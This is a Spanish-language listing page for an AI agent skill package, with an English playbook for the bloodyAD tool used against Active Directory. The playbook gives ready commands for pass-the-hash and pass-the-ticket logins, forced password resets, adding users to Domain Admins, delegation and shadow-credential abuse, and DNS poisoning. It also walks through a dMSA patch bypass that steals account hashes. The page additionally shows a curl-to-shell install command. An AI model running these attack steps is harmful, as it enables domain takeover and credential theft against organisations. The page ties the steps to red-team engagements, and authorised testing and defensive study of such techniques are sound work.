bloodyad
Auth/lab ref: Swiss army knife for Active Directory privilege escalation and object manipulation via LDAP/SAMR. Supports PTH, PTT, Cert auth.
v2026.11.13-21cd5683 instalaciones+3 en 7 días39 Estrellassincronizado hace 10 horas
Instalar
¿Aún no tienes la CLI de NotHoly? Instálala primero.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install aeondave/bloodyadEscribe en ~/.notholy/skills después de comprobar la firma y el SHA-256.
FirmaFirmado, ed25519
Paquete1813d533…9be44600
1813d5334de2…14a69be446001 archivo · 3.3 KBEscaneoMedio2 hallazgos
- injection.no_confirmationSKILL.md:32
- No se encontró licencia
Fuentegithub.com/AeonDave/malskill/tree/main/offensive-tools/windows/bloodyad@21cd568
Esta entrada todavía no está escrita en tu idioma, así que aparece en English.
En esta página
Goal: Exploit Active Directory Access Control List (ACL) vulnerabilities and manipulate AD objects without relying on WinRM or native Windows RSAT tools.
Cognitive Stance
bloodyAD is an offensive LDAP/SAMR framework. It acts as the direct execution layer for attack paths identified by BloodHound (GenericAll, WriteDACL, ForceChangePassword, etc). It operates cross-platform and fully supports proxying (SOCKS).
Core Authentication Patterns
Authentication follows standard Impacket-style formats but with specific arguments. The executable is typically invoked as bloodyAD.
# Cleartext
bloodyAD --host <DC_IP> -d <domain> -u <username> -p <password> <command>
# Pass-The-Hash (NTLM)
bloodyAD --host <DC_IP> -d <domain> -u <username> -p aad3b435b51404eeaad3b435b51404ee:<NTHash> <command>
# Kerberos Pass-The-Ticket
export KRB5CCNAME=/path/to/ticket.ccache
bloodyAD --host <DC_IP> -d <domain> -u <username> -k <command>Critical gotchas:
- Always pass
-u <username>even with-k. Without it, bloodyAD searchessAMAccountName=Noneand fails silently or returns zero results. The-kflag enables Kerberos transport;-ustill identifies which object to look up. - Clock skew: bloodyAD auto-detects and corrects clock skew up to several hours ("Clock skew detected. Adjusting..."). No manual
faketimeorntpdateneeded — unlike impacket tools. - LDAP sealing: bloodyAD uses SASL sign+seal on port 389, which satisfies
strongerAuthRequired. Use bloodyAD when impacket's raw LDAP bind fails withstrongerAuthRequiredor when LDAPS (636) TLS handshake resets.
Common Exploitation Workflows
1. Object and Attribute Enumeration
If you need to read a specific attribute (e.g., LAPS passwords, LAPS properties, quota sizes).
bloodyAD -H 10.10.10.10 -d contoso.local -u attacker -p pass get object target_user --attr ms-Mcs-AdmPwd2. ForceChangePassword (Reset Target User Password)
If you hold ForceChangePassword, GenericWrite, or GenericAll over a user.
bloodyAD -H 10.10.10.10 -d contoso.local -u attacker -p pass set password target_user 'NewP@ssw0rd123!'3. Group Modification (Add user to Domain Admins)
If you hold AddMember, WriteProperty, or GenericAll over a Group.
bloodyAD -H 10.10.10.10 -d contoso.local -u attacker -p pass add groupMember 'Domain Admins' target_user4. Resource-Based Constrained Delegation (RBCD)
If you hold GenericAll or GenericWrite over a Computer object, you can set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
bloodyAD -H 10.10.10.10 -d contoso.local -u attacker -p pass add rbcd TARGET_COMPUTER '$ATTACKER_COMPUTER'(After doing this, use getST.py from Impacket to request a service ticket).
5. Shadow Credentials (KeyCredentialLink)
If you have GenericWrite or GenericAll on a user or computer.
# Injects a KeyCredentialLink. BloodyAD will automatically attempt to PKINIT and get the NTLM hash
bloodyAD -H 10.10.10.10 -d contoso.local -u attacker -p pass add shadowCredentials target_user(If the automatic unpac fails, BloodyAD saves the certificate. Use certipy auth -pfx <cert>.pfx to authenticate manually.)
6. Proxying and Pivoting
BloodyAD relies extensively on standard network sockets and parses environment variables. It works seamlessly through SOCKS proxies via proxychains.
proxychains bloodyAD -H 10.10.10.10 -d contoso.local -u attacker -p pass get object target_user(Note for Proxychains: ensure /etc/proxychains4.conf or /etc/proxychains.conf points to your SOCKS port, e.g. Chisel or SSH SOCKS).
7. DNS Record Manipulation
Used to hijack WPAD, internal resources, or relay targets by poisoning ADIDNS.
# Add an A record pointing evil_wpad.contoso.local to 192.168.1.50
bloodyAD -H 10.10.10.10 -d contoso.local -u attacker -p pass add dnsRecord evil_wpad 192.168.1.508. Restore Deleted AD Object
If a target object was soft-deleted (moved to CN=Deleted Objects), restore it before attacking.
# Find deleted object (include deleted objects in search)
bloodyAD --host <DC_IP> -d <domain> -u <username> -p <password> \
get object "CN=<name>\0ADEL:<guid>,CN=Deleted Objects,DC=<domain>,DC=<tld>"
# Restore (moves object back to its original OU, re-enables it)
bloodyAD --host <DC_IP> -d <domain> -u <username> -p <password> \
set restore "CN=<name>\0ADEL:<guid>,CN=Deleted Objects,DC=<domain>,DC=<tld>"The GUID (0ADEL:<guid>) is part of the CN and must be quoted. Requires Write rights on the deleted object (visible in BloodHound even for deleted objects).
9. BadSuccessor (dMSA abuse)
Create a delegated MSA linked to a target account, then extract its credentials via S4U2self.
# Full (pre-patch / single actor with both CREATE_CHILD on OU and WRITE on target):
bloodyAD --host <DC_IP> -d <domain> -u <username> -p <password> \
add badSuccessor <new_dmsa_name> \
-t "CN=<target>,OU=<ou>,DC=<domain>,DC=<tld>" \
--ou "OU=<ou>,DC=<domain>,DC=<tld>"
# Post-patch split (actor A has CREATE_CHILD on OU, actor B has WRITE on target):
# Step 1 — Actor A: create dMSA, skip writing msDS-Superseded* on target
bloodyAD --host <DC_IP> -d <domain> -u <actor_a> -p <pass_a> \
add badSuccessor <new_dmsa_name> \
-t "CN=<target>,OU=<ou>,DC=<domain>,DC=<tld>" \
--ou "OU=<ou>,DC=<domain>,DC=<tld>" \
--prepatch
# Step 2 — Actor B: write msDS-Superseded* on target (via GenericWrite / LDAP)
# (bloodyAD set object or PowerShell S.DS.P with Negotiate+Sealing as Actor B)
# Step 3 — Actor A: run S4U2self to steal target's NT hash
badS4U2self "kerberos+ccache://domain\<actor_a>:<actor_a>.ccache@<DC_IP>" \
"krbtgt/<domain>@<DOMAIN>" "<new_dmsa_name>\$@<DOMAIN>" --dmsa
# Output: target account's RC4/NT hash (only RC4 yielded via dMSA key package)badS4U2self is in the bloodyad venv (or kerbad package in venv-core). Clock skew for badS4U2self must be corrected with sudo date -u -s "<DC_time>" or faketime immediately before running (it does not auto-correct like bloodyAD).
dMSA Ouroboros (post-patch CVE-2025-53779 bypass): when the patch validates bidirectional links but not WHO wrote them, an attacker with CreateChild + WriteProperty on an OU can bypass it by:
- Create dMSA via
add badSuccessor(writes both sides of the superseded link). add genericAllon the dMSA from the attacking principal.- Shadow Credential on the dMSA (
certipy shadow add -account 'dmsa$'). - Write
msDS-GroupMSAMembershipwith a self-authorizing SD (the dMSA's own SID + attacker SID get full rights) — this makes the dMSA authorize its own credential retrieval:
# Get SIDs
bloodyAD ... get object 'dmsa$' --attr objectSid
bloodyAD ... get object attacker --attr objectSid
# Build SD: O:SY D:(A;;0xf01ff;;;<dmsa_sid>)(A;;0xf01ff;;;<attacker_sid>)
# Write it:
bloodyAD ... set object 'dmsa$' msDS-GroupMSAMembership --raw --b64 -v '<base64_sd>'- Auth as dMSA (
certipy auth -pfx dmsa.pfx) → ccache. badS4U2self ... --dmsa→ extracts the superseded account's NT hash from the dMSA key package.
Anti-Patterns
- Modifying standard Domain Admin passwords or altering live production
Domain Adminsgroups is extremely noisy and often forbidden by red-team Rules of Engagement. Prefer Shadow Credentials or RBCD on computer accounts whenever possible. - Do not skip
-u <username>when using-k— without it bloodyAD fails to identify the authenticated principal.
Archivos de esta versión
- SKILL.md7.6 KB
Permisos
| Permiso | Declarado | Hallado en el escaneo |
|---|---|---|
| Lee archivos | No | No |
| Escribe archivos | Sí | Sí |
| Ejecuta comandos de shell | Sí | Sí |
| Usa la red | No | No |
| Usa conectores | No | No |
| Controla un navegador | No | No |
Hallazgos del escaneo
Revisado el 13 nov 2026
- MediaPrompt injection · injection.no_confirmationSKILL.md:32
- MediaLicencia · No se encontró licencia
Un escaneo limpio baja el riesgo, pero no prueba que el paquete sea seguro. Lee lo que instalas.
| Versión | Publicada | Commit | SHA-256 | Firma | Cambio de permisos |
|---|---|---|---|---|---|
| v2026.11.13-21cd568 | 13 nov 2026 | 21cd568 | 1813d533 | Firmada | – |
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